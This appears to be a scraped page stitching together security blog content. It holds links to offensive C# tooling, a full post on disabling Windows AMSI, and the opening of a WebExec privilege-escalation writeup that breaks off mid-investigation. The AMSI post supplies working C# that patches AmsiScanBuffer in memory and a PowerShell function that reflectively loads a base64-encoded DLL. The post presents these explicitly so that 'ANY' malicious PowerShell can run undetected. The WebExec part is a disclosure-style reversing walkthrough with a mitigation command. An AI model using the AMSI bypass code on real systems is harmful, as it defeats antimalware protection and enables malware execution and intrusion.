SharpSploitConsole — https://github.com/anthemtotheego/SharpSploitConsole

SharpSploit — https://github.com/cobbr/SharpSploit

How to bypass AMSI and execute ANY malicious Powershell code

Картинки по запросу amsi microsoft

( original text by 

Hello again. In my previous posts I detailed how to manually get SYSTEM shell from Local Administrators users. That’s interesting but very late game during a penetration assessment as it is presumed that you already owned the target machine.

This post will be more useful for early game, as AMSI (Anti Malware Scan Interface) can be a trouble to get a shell, or to execute post-exploitation tools while you still do not have an admin shell.

What is AMSI?

AMSI stands for “ANTI MALWARE SCAN INTERFACE”;

As it’s name suggests, it’s job is to scan, detect and block anything that does bad stuff.

Still doesn’t know what this is? Check this screenshot:

Screenshot

Obviously if you are experienced with penetration testing in Windows environments, you had such error with almost all public known scripts that are used like some in Nishang, Empire, PowerSploit and other awesome PowerShell scripts.

How does AMSI works?

AMSI uses “string-based” detection measures to determine if a PowerShell code is malicious or not.

Check this example:

Screenshot

Yes, the word “amsiutils” is banned. If have this word in your name, my friend, you are a malicious person for AMSI.

How to bypass string detection?

Everyone knows that string detection is very easy to bypass, just don’t use your banned string literally. Use encoding or split it in chunks and reassemble to get around this.

Here are three ways of executing the “banned” code and not get blocked:

Screenshot

Simply by splitting the word in half is enough to fool this detection scheme. We see this a lot in obfuscation. But in most of the cases, this method can fail.

Screenshot

In some cases, simply by decoding a Base64 banned code is enough to get around it.

Screenshot

And of course, you could use XOR to trick amsi and decode your string back to memory during runtime. This would be the more effective one, as it would need a higher abstraction to detect it.

All this techniques are to “GET AROUND” string detection, but we don’t want that. We want to execute the scripts in original state, the state where they are blocked by AMSI.

AMSI bypass by memory patching

This is the true bypass. Actually we do not “bypass” in the strict meaning of the word, we actually DISABLE it.

AMSI has several functions that are executed before any PowerShell code is run (from Powershell v3.0 onwards), so to bypass AMSI completely and execute any PowerShell malware, we need to memory patch them to COMPLETELY DISABLE it.

The best technique I have found in the internet is in this Link and it works in most recent version of Windows!

I wont enter in details about memory patching, you can get these details in above link

Instead, we will weaponize this technique and apply it to a PowerShell script, so we can use it in our real life engagements!

We will compile a C# DLL with code that will apply the above mentioned technique and then we will load and execute this code in a PowerShell session, disabling AMSI completely!

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

Now, with possession of a DLL of the above code, use it like this:

Screenshot

See that we are able to use the banned word freely. From this point onwards, THERE IS NO AMSI. We are free to load ANY powershell script, malicious or not. By combining this type of attack with your malicious tools you will 100% success against AMSI.

Weaponinzing with PowerShell

Of course, in a Penetration Test we must have tools to apply such techniques automatically. Again, as we used .NET framework through C#, we can create a Posh script that reflects our DLL in-memory during runtime, without the need to touch the disk with our DLL.

Here is my PowerShell script to disable AMSI:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9w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")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

This will bypass string detection because it does not uses anything malicious at all. It just loads an .NET assembly to memory and execute it’s code. And after executing it, you are FREE to execute real PowerShell malware!

Check my results:

Screenshot

This technique is awesome and extremly useful. You can put to use a handful of PowerShell post-exploitation scripts like Nishang, Powersploit and any other PoSH hacking tool that once was blocked by the annoying AMSI.

I hope you liked this post, all the credits for the technique goes to guys from CyberArk website, I only showed how to effectively use it in a real-life scenario from an attacker perspective.

Best regards,

zc00l.

Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we’ve dubbed «WebExec».

Картинки по запросу WebExecThe summary is: a flaw in WebEx’s WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That’s right: this client-side application that doesn’t listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it’s patched.

High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

Credit

This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

Intro

During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We’re calling the class «thank you for your service», because we can, and are crossing our fingers that more are out there!

The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We’ve tested some older and newer versions since then, and they are still vulnerable.

WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you’re concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

Privilege Escalation

What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called «webexservice» that can be started and stopped by anybody. That’s not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that’s SYSTEM). That’s an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

Due to the application whitelisting, however, on this particular assessment we couldn’t simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it’s a service, it runs with the working directory c:\windows\system32, and we couldn’t write to that folder!

At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let’s take a look

Deep dive into WebExService.exe

It’s not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

  .rdata:00405438 ; wchar_t aSCreateprocess
  .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
  .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0

I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

  .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
  .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
  .text:0040255A                 push    0               ; lpCurrentDirectory
  .text:0040255C                 push    0               ; lpEnvironment
  .text:0040255E                 push    0               ; dwCreationFlags
  .text:00402560                 push    0               ; bInheritHandles
  .text:00402562                 push    0               ; lpThreadAttributes
  .text:00402564                 push    0               ; lpProcessAttributes
  .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
  .text:0040256C                 push    0               ; lpApplicationName
  .text:0040256E                 push    [ebp+phNewToken] ; hToken
  .text:00402574                 call    ds:CreateProcessAsUserW

The W on the end refers to the UNICODE («wide») version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you’ll find everything you need to know.

In any case, the two most important arguments here are hToken — the user it creates the process as — and lpCommandLine — the command that it actually runs. Let’s take a look at each!

hToken

The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what’s going on. Trying to understand what code’s doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you’ll see shortly.

At the top of the function, we see:

  .text:0040241E                 call    ds:CreateToolhelp32Snapshot

This is a normal way to search for a specific process in Win32 — it creates a «snapshot» of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

Based simply on knowledge of the APIs, we can deduce that it’s searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

  .text:00402480                 lea     eax, [ebp+Str1]
  .text:00402486                 push    offset Str2     ; "winlogon.exe"
  .text:0040248B                 push    eax             ; Str1
  .text:0040248C                 call    ds:_wcsicmp
  .text:00402492                 add     esp, 8
  .text:00402495                 test    eax, eax
  .text:00402497                 jnz     short loc_4024BE

Specifically, it’s comparing the name of each process to «winlogon.exe» — so it’s trying to get a handle to the «winlogon.exe» process!

If we continue down the function, you’ll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That’s another common sequence of API calls — it’s how a process can get a handle to another process’s token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

An interesting takeaway here is that I didn’t really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

lpCommandLine

This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don’t be discouraged by this quick summary — I’m skipping an awful lot of dead ends and validation to keep just to the interesting bits.

One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I’d have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea — I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

C:\Users\ron>sc start webexservice

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]

You may need to configure Event Viewer to show everything in the Application logs, I didn’t really know what I was doing, but eventually I found a log entry for WebExService.exe:

  ExecuteServiceCommand::Not enough command line arguments to execute a service command.

That’s handy! Let’s search for that in IDA (alt+T)! That leads us to this code:

  .text:004027DC                 cmp     edi, 3
  .text:004027DF                 jge     short loc_4027FD
  .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
  .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
  .text:004027EB                 push    2               ; wType
  .text:004027ED                 call    sub_401770

A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn’t take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let’s try it:

C:\Users\ron>sc start webexservice a b

[...]

Then check Event Viewer again:

  ExecuteServiceCommand::Service command not recognized: b.

Don’t you love verbose error messages? It’s like we don’t even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

  .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
  .text:00402830                 push    dword ptr [esi+8]
  .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
  .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
  .text:0040283D                 push    2               ; wType
  .text:0040283F                 call    sub_401770

If we scroll up just a bit to determine how we get to that error message, we find this:

  .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
  .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
  .text:00402802                 push    dword ptr [esi+8] ; lpString1
  .text:00402805                 call    ds:lstrcmpiW
  .text:0040280B                 test    eax, eax
  .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
  .text:0040280F                 mov     [ebp+var_4], eax
  .text:00402812                 lea     edx, [esi+0Ch]
  .text:00402815                 lea     eax, [ebp+var_4]
  .text:00402818                 push    eax
  .text:00402819                 push    ecx
  .text:0040281A                 lea     ecx, [edi-3]
  .text:0040281D                 call    sub_4025A0

The string software-update is what the string is compared to. So instead of b, let’s try software-update and see if that gets us further! I want to once again point out that we’re only doing an absolutely minimum amount of reverse engineering at the assembly level — we’re basically entirely using API calls and error messages!

Here’s our new command:

C:\Users\ron>sc start webexservice a software-update

[...]

Which results in the new log entry:

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Exception code: 0xc0000005
  Fault offset: 0x00002643
  Faulting process id: 0x654
  Faulting application start time: 0x01d42dbbf2bcc9b8
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Report Id: 31555e60-99af-11e8-8391-0800271677bd

Uh oh! I’m normally excited when I get a process to crash, but this time I’m actually trying to use its features! What do we do!?

First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you’ll know that it’s a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

The first thing I tried was the brute-force approach: let’s add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren’t present.

So I started the service with the following commandline:

C:\Users\ron>sc start webexservice a software-update a b c d e f

[...]

That led to a new crash, so progress!

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
